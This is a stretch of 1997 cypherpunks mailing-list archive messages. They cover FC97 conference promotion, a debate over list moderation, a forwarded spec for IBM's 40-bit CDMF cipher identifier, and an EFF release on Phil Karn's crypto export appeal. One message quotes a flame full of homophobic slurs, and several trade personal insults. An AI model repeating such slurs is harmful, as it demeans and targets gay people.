When we thought we couldn't do this without corporate sponsorship to cover
our sunk costs, Julie stepped up and took on raising that too, even though
it later turned out that we really didn't need sponsorships to make FC97
fly.  ("Bootstrap" is now our collective middle name...)

Anyway, we're still taking booth orders -- each booth ($5,000) includes 2
complimentary tickets to the FC97 conference -- and Julie's the contact for
that <mailto:rackliffe@tcm.org>. Also, if your corporation wants to sponsor
(for $10,000) an official, FC97-sanctioned, :-), lunch or dinner with
accompanying recreational/schmooze opportunity, we'd be more than happy to
oblige. You get a banner ad on the web site, your company's name on our
outbound correspondence (see above), a nice discount on boothspace, and 4
conference tickets. And a tatoo on my forehead. Okay. Maybe not a tatoo on
my forehead. Since I had to licence the name "Bob" from Microsoft a couple
of years ago, there's not much room up there next to the Windows 95 logo,
anyway. Again, email Julie <mailto:rackliffe@tcm.org> for information on
sponsorships, and we'll *talk* about the tatoo. So, much thanks to Julie,
who's also going to actually manage the conference,logistically and
administratively, during the week of FC97, for all the work *she's* going
to do, too.

Finally, I want to thank someone who's not officially on the FC97 team.
That person is Sameer Parekh of C2NET. Not only is he going to buy a booth
at the FC97 Exhibition, he also graciously donated a copy of Stronghold,
which we're going to be using as the Official Commerce Server of the FC97
Workshop, Exhibition and Conference. We're going to be teaching financial
cryptography with Stronghold in the workshop (and Ian's new ecash server,
by the way...), and it will be taking orders on www.offshore.com.ai real
soon now. In ecash, among other things, which he'll be using to actually
purchase his booth from us. Thank you very much Sameer. In that regard, we
also want to thank Lucky Green <shamrock@netcom.com> who got us set up with
the ecash shopware to make digital cash transactions possible for FC97.
Thank you very much, Lucky.

<Shameless-Huckster-Mode, RDF=11>

Okay. Now I'm going to talk about why it's in *your* best interest to
*immediately* go to <http://www.offshore.com.ai/fc97/>, shell out big
bucks, and register for either the conference ($1,000. Nice round tax-free
numbers, remember?) or the workshop and conference ($6,000 total), or the
exhibition (booths start at $5,000), or even sponsor FC97 itself (for a
cool $10 grand), so that I, too, can go to Anguilla, and not shovel snow in
Boston in February. Like the rest of this rant, feel free to hack out some
of the points below and paste them into any appropriate form or
application if you need them to justify your trip to someone with
budgetary authority. :-). If you need better reasons, let me know,
<mailto:rah@shipwright.com>, and I'll think up some more. One of them has to
stick. It *has* to, or <shivver> I have a date with a snow shovel this
February.


1. FC97's in Anguilla. It doesn't snow in Anguilla. :-).

2. FC97 is the very first conference ever on financial cryptography. If you
go there, you'll make history. Since financial cryptography will change the
face of economics and finance as we know it, you'll make economic and
financial history. Since economic and finance make the world go 'round,
you'll make world history. Pick a history. Any history. You'll have made
it. But, you've gotta *be* there to do it.

3. The papers at FC97 will be peer-reviewed, and FC97 is sanctioned by
International Association for Cryptologic Research. The papers to be
presented at FC97 are being reviewed by some of the best people in the
field, and the papers themselves will represent the best thinking in
financial cryptography today.

4. The people who wrote the papers will be right there for you to talk to,
because they've all committed to come if their papers are accepted.

5. FC97, like the Cannes Film Festival, was designed not only to show
the state of the art in the financial cryptography business, but to provide
time and space for that business to take place. There is exhibition space
so that people can display their technology. The conference runs from 08:30
to 12:30 (with breakfast provided, to get you there that early), so that
the afternoons and evenings can be used for business networking, for
corporate presentations, or for individual or group recreational
opportunities. Participants are encouraged to bring their families.

6. FC97 is in Anguilla. Anguilla is an interesting spot, politically and
economically. It has no taxes of any kind except import duties (no,
bringing your laptop to Anguilla is not importing it, because you're taking
it home with you), and would be a great place to run an offshore
transaction server, which, of course, is why people like Vince Cate are
there now. In addition, having FC97 in Anguilla proves the futility of the
current US cryptography control regime. We will have all kinds of
cryptographically strong financial technology at FC97. That includes
C2NET's Stronghold product, through which FC97's own registration
transactions are being processed, and which we will be using in the
workshop to instruct people in financial cryptography systems development
and implementation. All of that technology will get to Anguilla, a tiny
speck in the Carribbean Sea, just fine -- *without* being exported from the
US.

7. If you were interested in negotiating with foriegn cryptographic
businesses to *import* their technology into the US (a sad state of
affairs, but a fact of the modern market), or, in contracting with foriegn
businesses to license your cryptographic technology overseas within the
limits of the ITARs or EARs, FC97 would seem to be an ideal time and place
to do so. The market for financial cryptography is changing dramatically,
and Anguilla will have the highest concentration of
financial-crypto-clueful on the planet for the week of FC97. All of them
talking to each other, networking, and doing deals. It is an opportunity
which any prudent business developing financial cryptography, or
significantly affected by it, should not ignore.

8. FC97 is chance for those of us who only know each other on the net to
actually meet face to face and start to develop the kind of personal
relationships and trust we'll all need to create the future of finance on
the internet. Since legal enforcement of contract on a ubiquitous
international network will be at best problematic, if not impossible,
reputation and character will be the only enforcement mechanism we'll have
for quite a while yet. (Actually, if it was good enough for J.Pierpont
Morgan and the Rothschilds, it's probably good enough for us.)  And, while
the whole point to financial cryptography is that we won't need to have
face-to-face contact for financial relationships, much less regulation,
there's still, currently, more bandwidth in a conversation on an Anguillan
beach to develop that trust relationship than there is anywhere on the
internet. So, at the core of the business, people are going to have to
actually *know* each other, at least until the market gets too competitive.
This is no different from any other nacent software market. Steven Levy, in
"Hackers", talks about how computer game software firms, ostensibly
competitors, used to vaction with each other in the early development of
that business. That makes sense. One of the reasons that Peter Cassidy and
I started DCSB was so we would have a place to go to talk financial crypto
with other people who actually cared about it. Do it for week, and add a
beach and beautiful weather, and you've got FC97.

9. The FC97 workshop, February 17-21, is being taught by some of the best
implementors of cryptography technology today. Ian Goldberg
<mailto:iang@cs.berkeley.edu>, the workshop chair, knows more about the
nuts and bolts, the implementation and construction of financial
cryptography systems, particularly new systems using so-called digital
bearer certificates, than probably any other person alive, including the
people who invented and sell the technology itself. The people he's picked
to teach the workshop with him have the most hands-on experience in
developing and implementing cryptography, particularly in a financial
context, of anyone in the world today. People who take the workshop will
learn which cryptography is strong cryptography, what isn't, and why. They
will learn all the current and proposed internet payment systems out there,
which ones are worth knowing about, which ones aren't, and how to tell
whether a new system is worth learning. They will learn how to set up a
secure internet site from scratch. They will learn how to build a
transaction server on that site which will use any of the current popular
transaction protocols. And, finally, at the very frontier of financial
cryptography, workshop attendees will learn the theory and operation of
systems for handling and issuing digital bearer certificates. Systems which
do not rely on offsetting book-entries, or financial regulators, to settle
issues of non-repudiation, and are thus well suited to ubiquitous worldwide
commerce. The workshop will consist of 40 hours of intensive instruction
and lab time, with a 24-hour open lab and T1 internet access. The workshop
admission is limited to 20 attendees. The cost of the workshop is $5,000.

10. It's in Anguilla. There's no snow in Anguilla.

</SHM, RDF=0> :-).


Okay. I've ranted. There will be more later, certainly. I expect there to
be a press release from C2NET about Stronghold at FC97, and the purchase of
their booth in ecash. And, as we sell more booths, press releases from the
companies who buy those booths, about their products, and why they've
decided to go to FC97. Again, if you're interested in buying a booth at
FC97, please contact Julie Rackliffe,  <mailto: rackliffe@tcm.org>.

Sometime next week Ian Goldberg <mailto:iang@cs.berkeley.edu>, will come
out with more formal information about the FC97 Workshop. If you know
anyone who could benefit from such an experience, please have them contact
Ian for details.

Shortly after the 18th, expect to see, from Ray Hirschfeld, the selected
papers and the actual agenda for the conference itself.

So, if you have any questions about Anguilla itself, send them to Vince
Cate <mailto: vince@offshore.com.ai>. If you have any questions about the
content of the conference, you can send them to Ray Hirschfeld <mailto:
R.Hirschfeld@cwi.nl>, but, bear in mind, he and the program committee are
behind the old chinese wall right now, reading papers, so you probably
won't get an answer from him until the papers are selected and the agenda
announced. If you want a booth or to sponsor the conference, contact Julie
Rackliffe <mailto: rackliffe@tcm.org>. If you want to talk about the
workshop before Ian Goldberg <mailto:iang@cs.berkeley.edu>, cranks out the
formal call for participants please contact him, because the contents of
the workshop will depend to a great deal on the initial skill set of the
participants.

And, of course, if you want to thrash me about the length or content of
this rant, feel free. All errors are mine, especially those said in
shameless-huckster-mode. :-). <mailto:rah@shipwright.com>

Finally, the website for FC97 is <http://www.offshore.com.ai/fc97/>.
Register now. Please. My toes are *cold* already...


Cheers,
Bob Hettinga
(one of two) General Chair(s, the other is Vince Cate),
Financial Cryptography 1997

Conference and Exhibition: February 24-28, 1997
Workshop: February 17-21, 1997
http://offshore.com.ai/fc97/

Sponsors:
The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services
<http://www.offshore.com.ai/>
e$
<http://www.vmeng.com/rah/>
See your name here :-)
<mailto:rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:32:54 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.94.970105222016.23091B-100000@polaris>
Message-ID: <Pine.SUN.3.91.970108130901.28929H-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 5 Jan 1997, Black Unicorn wrote:

> How will borderline posts be dealt with?  Posts that contain a great deal
> of content and thoughful discussion and still manage to contain flames?
> 
> Will flames be an automatic boot for a post (zero tolerance), or will they
> be balanced against post content?

Zero tolerance will be my first approximation.  I may modify 
that as I see how things really work out.  So far, though, I
don't recall see any of those "high content with flames" animals.
Most posts are one or the other.
 
> What is the threshold which, for example, constitutes an "insult" ?
> 
> "Louis Freeh couldn't identify a directed well managed crypto policy if it
> bit him on his pimple speckled ass."

Truth (and relevance) are a defense.  :-)
 
> "You are so turned around on this issue one is prompted to wonder if you
> have any background in higher education at all."
> 
> "For the new members of the list, [insert list member here] has a history
> of posting idiotic and useless posts, and generally wasting the list's
> time like an asshole."
> 
> All of the above?  None of the above?

Sorry Black Unicorn, no declaratory judgments.  Everything gets
posted one way or another.  Let's see how it works in the real
world.
 
> I believe the "flames" list should be maintained as long as possible.
> Continuing checks on the moderator (whoever it may be) are necessary and
> appropriate.  What better way than to directly provide a means to identify
> what the moderator has excluded?

This is my opinion as well.  However, John makes the very good
point that the unedited list has one very important advantage--
timeliness.  The other two lists (polite and flames) have a 
build in delay time because of the moderation.  I don't see it
as a problem, but John feels that quick turnaround is an 
advantage that some list members would prefer.
 
> A diversity of moderators makes a detailed stated policy on moderation an
> absolute must.

I agree.  We are not at that stage yet, however.  We are still
finding our sea legs for now.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 14:09:11 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701060416.WAA04436@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970108132316.28929I-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 5 Jan 1997 ichudov@algebra.com wrote:

> Moderation may or may not be a good idea, but it is important that 
> readership keeps a close eye on their rulers.

I agree with Igor or this.  That's why nothing will be dropped,
only sorted.  I encourage Igor and anyone else who is concerned
to "check my work."


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:47:29 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experim
In-Reply-To: <199701061046.CAA22622@adnetsol.adnetsol.com>
Message-ID: <Pine.SUN.3.91.970108133332.28929J-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 6 Jan 1997, Ross Wright wrote:

> So my question is: is there going to be a maximum number of times I
> can say fuck in a good post?

Fuck no.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 12:17:03 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <1.5.4.32.19970108095456.003811e4@popd.ix.netcom.com>
Message-ID: <32D4142E.CB8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> The commercials between the movie and news show on the airline include an
> IBM spot on their new Key Recovery software.  Sigh.
> 
> The explanations they gave were mixed; one person was talking about
> making sure that if you lose the key that people with a legitimate need
> to access the material can do it. 

  Like the legitimate leader of a country, say, for instance...Hitler?
Or a legitimate law enforcement agency, say, for instance...the Gestapo?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 8 Jan 1997 11:02:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Algorithm Identifier for CDMF
Message-ID: <v03007898aef99c6d0e1d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


Grab your ankles, ladies and gents. This won't hurt a bit...

Cheers,
Bob Hettinga

<Wait, isn't that a freight train in the distance?>

--- begin forwarded text


From: Bob Baldwin <baldwin@rsa.com>
To: "'set-dev'" <set-dev@terisa.com>
Subject: Algorithm Identifier for CDMF
Date: Wed, 8 Jan 1997 09:41:08 -0800
Mime-Version: 1.0
Sender: owner-set-dev@terisa.com
Precedence: bulk

	The SET protocol needs an algorithm identifier
for a 40 bit variant of des called CDMF for use
with the AcqBackMsg.  This note defines the value for
that identifier.
		--Bob Baldwin

--------------------------

          ALGORITHM IDENTIFIER FOR IBM's CDMF ALGORITHM


INTRODUCTION

The Commercial Data Masking Facility (CDMF) is an
application of DES that weakens the DES key from
56 to 40 bits using a key shortening algorithm
patented by IBM.  Licensing information for the CDMF
patent is available from the Director of Licensing,
IBM Corporation, 500 Columbus Avenue, Thornwood, NY 10594.

This note defines the ASN.1 algorithm identifier and algorithm
parameters for IBM's CDMF that has been registered by RSA Data
Security Inc.

RSA Data Security, Inc.'s Open Systems Interconnection (OSI) object
identifier is 1.2.840.113549 (2a, 0x86, 0x48, 0x86, 0xf7, 0x0d in hex),
as registered by the American National Standards Institute (ANSI).
In the following, the prefix "rsadsi" refers to that object identifier.
All object identifiers registered by RSA Data Security begin with this
prefix.


CDMFCBCPad

This is a Cipher Block Chaining mode of operation with padding
of a 40-bit variant of DES. It is defined in:

  IBM Journal of Research and Development, "The Commercial Data
  Masking Facility (CDMF) Data Privacy Algorithm", Volume 38,
  Number 2, March 1994.

Following the ASN.1 style of the "Agreements for Open Systems
Interconnection Protocols: Part 12 OS Security", it is defined by:

ALGORITHM MACRO ::=
BEGIN
 TYPE NOTATION ::= "PARAMETER" type
 VALUE NOTATION ::= value(VALUE OBJECT IDENTIFIER)
END -- of ALGORITHM

IV8 ::= OCTET STRING (SIZE(8))

CBC8Parameter ::= IV8

CDMFCBCPad ALGORITHM
 PARAMETER CBC8Parameter
 ::= {iso(1) member-body(2) US(840) rsadsi(113549)
      encryptionAlgorithm(3) 10}
-- In hex, the CDMFCBCPad algorithm ID is:
-- { 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x03, 0x0A }

The PARAMETER is needed to specify the Initialization Vector,
which need not be kept secret. It is 8 octets long.

This mode should be used to encrypt multiple blocks, where the
full message is available. The random IV prevents codebook
analysis of the start of the chain. The IV may be public.

This mode will propagate a single bit error in one plaintext
block into all succeeding blocks, and will propagate a single bit
error in the ciphertext into a garbled plaintext block on
decryption as well as a single bit error in the next plaintext
block.

The following padding mechanism should be used if the data
to be encrypted is octet aligned, unless the security policy
dictates otherwise:

The input to the CDMF CBC encryption process must be padded to a
multiple of 8 octet, in the following manner.  Let n be the
length in octets of the input. Pad the input by appending 8-(n
mod 8) octet to the end of the message, each having the value
8-(n mod 8), the number of octets being added. In hexadecimal,
the  possible paddings  are: 01,  0202, 030303,  04040404,
0505050505, 060606060606, 07070707070707, and 0808080808080808.
All input is padded with 1 to 8 octets to produce a multiple of 8
octets in length. The padding can be removed unambiguously after
decryption.

Editor's Note - If adding the padding rules would cause
existing implementations to break, this should be registered
as a separate algorithm identifier.  Note, however, that
[FIPS 81] specifies its own padding rules for padding binary
data, in the absence of application-defined rules such as
those above; those rules require an indication (which could
be conveyed as an algorithm PARAMETER) of whether the data
has been padded or not.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 14:11:35 -0800 (PST)
To: "Thaddeus J. Beier" <thad@hammerhead.com>
Subject: Re: Moderation
In-Reply-To: <199701070055.QAA11918@hammerhead.com>
Message-ID: <Pine.SUN.3.91.970108140101.28929N-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 6 Jan 1997, Thaddeus J. Beier wrote:

> I would attempt to prohibit threads that only exist in cypherpunks-flames
> being continued into the moderated list.  This'll be hard to do, Sandy,
> I know, but if you could think of a way to do this, I think that your
> experiment is more likely to succeed.
> 
> Phrases like "As I said in the letter that only got sent to
> cypherpunks-flames" should cause the whole article to be yanked,
> IMHO.

That's my opinion as well.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 13:34:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
In-Reply-To: <32D39684.285B@liasec.infolink.co.za>
Message-ID: <NL98ZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!panix!news.mathworks.com!newsfeed.internetmci.com!hunter.premier.net!news-peer.gsl.net!news.gsl.net!news-dc.gsl.net!news.gsl.net!news.sprintlink.co.za!NEWS!not-for-mail
From: Pierre van Rooyen <jvrooyen@liasec.infolink.co.za>
Newsgroups: alt.security
Subject: encryption program
Message-ID: <32D39684.285B@liasec.infolink.co.za>
Date: Wed, 08 Jan 1997 04:43:48 -0800
Organization: Secunda
Lines: 22
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

If you are familiar with encryption please help me with the following

Firstly I want to know if there are a encryption program currently used 
that are completely succure from hackers.  In other words, information 
encrypted that no person is able to decrypt.  Well if there isn't such a 
program I really think I have one that I have written myself.  It is 
simple text that I have encrypted and so far no one was able to decrypt 
it.  You can go and have a look yourself at 
http://www.lia.net/pvrooyen/encrypt.txt
(CLICK HERE to go 
there now)

If you think this program can be used please reply to this letter and I 
will give you more information.

**PLEASE reply via e-mail ---> <a 
href="mailto:jvrooyen@liasec.infolink.co.za">CLICK HERE</a> to reply now.

Hope to hear from you soon.

Regards
Pierre van Rooyen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Tue, 7 Jan 1997 20:27:24 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: The FAGGOT list
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970108042708Z-100@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Aga Wrote:
>
>That is another FAGGOT coming out of the woodwork!
>> > Just how many KNOWN faggots are on this list?
[snippo]
>
>Most of the above men are apparently FAGGOTS, since they
>conspire to censor Freedom Of Speech on the InterNet, under
>the guise of "spam elimination."  Actually, is all a front
>for censorship by homosexuals on the InterNet.
>[more snippo]
>> > All of these who are faggots must be labeled
>> > and watched, as we know that faggots are the worst censors.

Could someone please forward me the URL of the FAGGOT (are the caps
manditory?) detecting software for mailing lists. I feel pretty left out
as almost everyone else know who the FAGGOTS are. Is this the same
software that detects Cocksuckers or does Dr Dimitri have something of
his own. Maybe we could all band together and come up with something
that detects Nazi moderators as well.

Brett




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 8 Jan 1997 14:37:21 -0800 (PST)
To: unicorn@schloss.li
Subject: Re: [STATS] Cypherpunks subscriptions on and off
Message-ID: <199701082237.OAA02999@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn writes:
> More fear from Mr. Thorn that his own time in the spotlight might be
> drawing to a close.  God forbid his captive audience might vanish.

Tell me, how can an audience be captive when they control the "delete"
key? 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A voice whispered to me last night. It said: "There is no such thing
as a voice whispering in the night!" 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 13:11:04 -0800 (PST)
To: "David K. Merriman" <merriman@amaonline.com>
Subject: Re: Keyserver Draft
In-Reply-To: <199701081428.GAA11007@toad.com>
Message-ID: <32D42319.540D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David K. Merriman wrote:
> Having gotten the subject in the spotlight (!), I'd like to clarify a couple
> of points about my draft proposal:

>  If I get a brownie point or atta-boy out of this,
> cool. If not, that's fine, too, _as long as the problem is addressed_.

         -------------------
         |     Coupon       |
         |     ------       |
         | 2 Brownie Points |
         |  (X-spendable)   |
         --------------------
> 
> We return you now to FlameFest '97 :-)

  Good. I've got to get back to see which way the wind is 'blowing'.
(and 'who')

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 8 Jan 1997 14:56:16 -0800 (PST)
To: cypherpunks, gnu
Subject: URGENT: Fri 10Jan 9:30AM Wash,DC: Karn appeals, come to the hearing!
Message-ID: <199701082255.OAA20606@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Friends of crypto freedom should definitely attend.  The courtroom
holds approximately 50 people, and we'd like to fill it.  Show Judges
Williams, Ginsburg and Rogers the importance of the case.  This is the
first time that a crypto export case has hit a Court of Appeals, and
your rights are very much at stake here.

If you're in the DC metropolitan area, come on out on Friday morning!
Show Phil Karn you support him as he challenges the export controls.  --John]

  RESEARCHER KARN APPEALS, SEEKING TO OVERTURN IRRATIONAL ENCRYPTION RULES
        "Books are OK to publish, floppies are not" policy

Washington, January 8 - Laywers for researcher Philip R. Karn, Jr.
will argue in court this Friday that Government restrictions on
distribution of encryption software violate the First and Fifth
Amendments of the Constitution, and are "arbitrary, capricious and
invalid" regulations.

This week's hearing, on January 10, 1997 at 9:30AM in the US Court of
Appeals for the District of Columbia Circuit, is open to the public at
333 Constitution Avenue, Washington DC.

The Government will argue that its rules are its own business, which
courts should not oversee, and that it is legitimate to regulate free
speech and publication when the government is uninterested in
suppressing the content thereof.  (The government actually has a
strong interest in suppressing the public's ability to understand and
deploy strong cryptography, but has managed to convince the district
court of the opposite.)

The lawsuit is complicated by the Government's introduction last month
of new encryption regulations.  President Clinton ordered on November
15 that the regulations be moved from the State Department to the
Commerce Department.  Over Christmas, the Clinton Administration
published its new Commerce Department regulations, which are
effectively identical to the State Department regulations, and put
them into immediate effect.  Mr. Karn's case only named the State
Department.  In an unusual switch, the Government is arguing that it
should be able to replace the State Department with the Commerce
Department as a defendant, in the hope of keeping the case alive.
(Most defendants would be happy to have the case disappear.  The State
Department appears to be hoping they will get a better decision in
this case than in related cases.)

The State Department regulations at issue were struck down in December
by Judge Marilyn Hall Patel in a similar case brought by Professor
Daniel Bernstein in San Francisco.  Judge Patel called the regulations
a "paradigm of standardless discretion" which required Americans to
get licenses from the government to publish information and software
about encryption.  No court has yet ruled on the new Commerce
Department regulations, which include the same provisions that were
declared unconstitutional.

"This case clearly raises an issue of fundamental importance to
cryptographers and computer programmers generally," said Kenneth Bass,
lead attorney in the case.  "The fundamental issue is how the courts
will treat computer programs.  Books are entitled to the full
protection of the First Amendment, but the trial judge in this case
decided that source code on a diskette does not enjoy that same
protection.  Programmers immediately recognize the utter irrationality
of this distinction.  We now will see whether the appeals courts will
also see it that way."

"Phil Karn's case illustrates both the irrationality of the encryption
rules and the depths of the bureaucratic mazes which protect them,"
said John Gilmore, co-founder of the Electronic Frontier Foundation,
which backed the suit.  "The idea that the First Amendment protects
the author of a book, but not the author of an identical floppy disk,
is ridiculous.  All books, magazines, and newspapers are written on
computers today before print publication, and many are also published
online.  Yet here we have Government lawyers not only defending their
right to regulate machine-readable publication, but also arguing that
the courts are not permitted to re-examine the issue.  Their argument
amounts to `Trust us with your fundamental liberties'.  Unfortunately,
a decade of NSA actions have amply demonstrated that they are happy to
sacrifice fundamental liberties when it gives them an edge in some
classified spy program.  Unless there's a clear and present danger to
our nation's physical security (which we have seen no evidence of),
our citizens' right to speak and publish freely is much more important
to American national security than any top-secret program."

Civil libertarians have long argued that encryption should be widely
deployed on the Internet and throughout society to protect privacy,
prove the authenticity of transactions, and improve computer security.
Industry has argued that the restrictions hobble them in building
secure products, both for U.S. and worldwide use, risking America's
current dominant position in computer and communications technology.
Government officials in the FBI and NSA argue that the technology is
too dangerous to permit citizens to use it, because it provides privacy
to criminals as well as ordinary citizens.

	Background on the case

Mr. Philip Karn is an engineer with a wide and varied background in
radio and wire communications.  He has given many years of volunteer
work in the amateur radio service, amateur satellite service, and in
the Internet community.  He is the author of the freely available
"KA9Q" internet software for DOS machines, which forms the basis of
many amateur radio experiments as well as several successful
commercial products.  He has written and given away various
cryptographic software, including one of the world's fastest versions
of the Data Encryption Standard (DES).  Phil also did the initial
research into encrypting Internet traffic at the packet level.  Mr.
Karn's home page is at http://www.qualcomm.com/people/pkarn/ .

In 1994, author Bruce Schneier published _Applied Cryptography_, a
best-selling encryption textbook which included some fifty pages of
encryption source code listings, including very strong algorithms such
as "Triple-DES".  As an civil libertarian, Mr. Karn asked the State
Department whether the book could be exported; they replied that it
was in the public domain and could therefore be exported.  Mr. Karn
then created a floppy disk containing the source code from the book,
and asked if the floppy could be exported.  The State Department
determined in May 1994 that the floppy was a munition.  Mr. Karn
would need to register as an arms dealer to be able to export the
disk.

After several administrative appeals, Mr. Karn filed suit in September
1995.  The suit asks a court to declare that the decision was invalid
because the distinction between publication on paper and publication
on floppies has no rational basis, and because the decision violates
Mr. Karn's right to publish the floppy.

Judge Charles R. Richey dismissed the case in a strongly-worded
36-page opinion.  "The plaintiff, in an effort to export a computer
diskette for profit, raises administrative law and meritless
constitutional claims because he and others have not been able to
persuade the Congress and the Executive Branch that the technology at
issue does not endanger the national security. This is a "political
question" for the two elected branches under Articles I and II of the
Constitution."  Mr. Karn, whose effort was motivated by concern for
civil rights rather than profit, appealed.  This week's hearing is the
first public hearing in his appeal case.

The regulations at issue in the case, which prevent American
researchers and companies from exporting cryptographic software and
hardware, are a relic of the Cold War.  The secretive National
Security Agency has built up an arcane web of complex and confusing
laws, regulations, standards, and secret interpretations for years.
These are used to force, persuade, or confuse individuals, companies,
and government departments into making it easy for NSA to wiretap and
decode all kinds of communications.  Their tendrils reach deep into
the White House, into numerous Federal agencies, and into the
Congressional Intelligence Committees.  In recent years this web is
unraveling in the face of increasing visibility, vocal public
disagreement with the spy agency's goals, commercial and political
pressure, and judicial scrutiny.

ABOUT THE ATTORNEYS

Lead counsel on the case are Kenneth C. Bass III and Thomas J. Cooper
of the Washington law firm of Venable, Baetjer, Howard & Civiletti,
who are offering their services pro bono.

ABOUT THE ELECTRONIC FRONTIER FOUNDATION

The Electronic Frontier Foundation (EFF) is a nonprofit civil
liberties organization working in the public interest to protect
privacy, free expression, and access to online resources and
information.  EFF is funding the expenses in Mr. Karn's case.

The full text of the lawsuit and other paperwork filed in the case is
available from Phil Karn's web site at:

        http://www.qualcomm.com/people/pkarn/export/index.html

SOURCE: Electronic Frontier Foundation

    CONTACT:  Ken Bass, lead attorney, +1 202 962 4890, kbass@venable.com;
or Shari Steele, EFF Staff Attorney, +1 301 375 8856, ssteele@eff.org;
or John Gilmore, EFF Board Member, +1 415 221 6524, gnu@toad.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 12:24:49 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
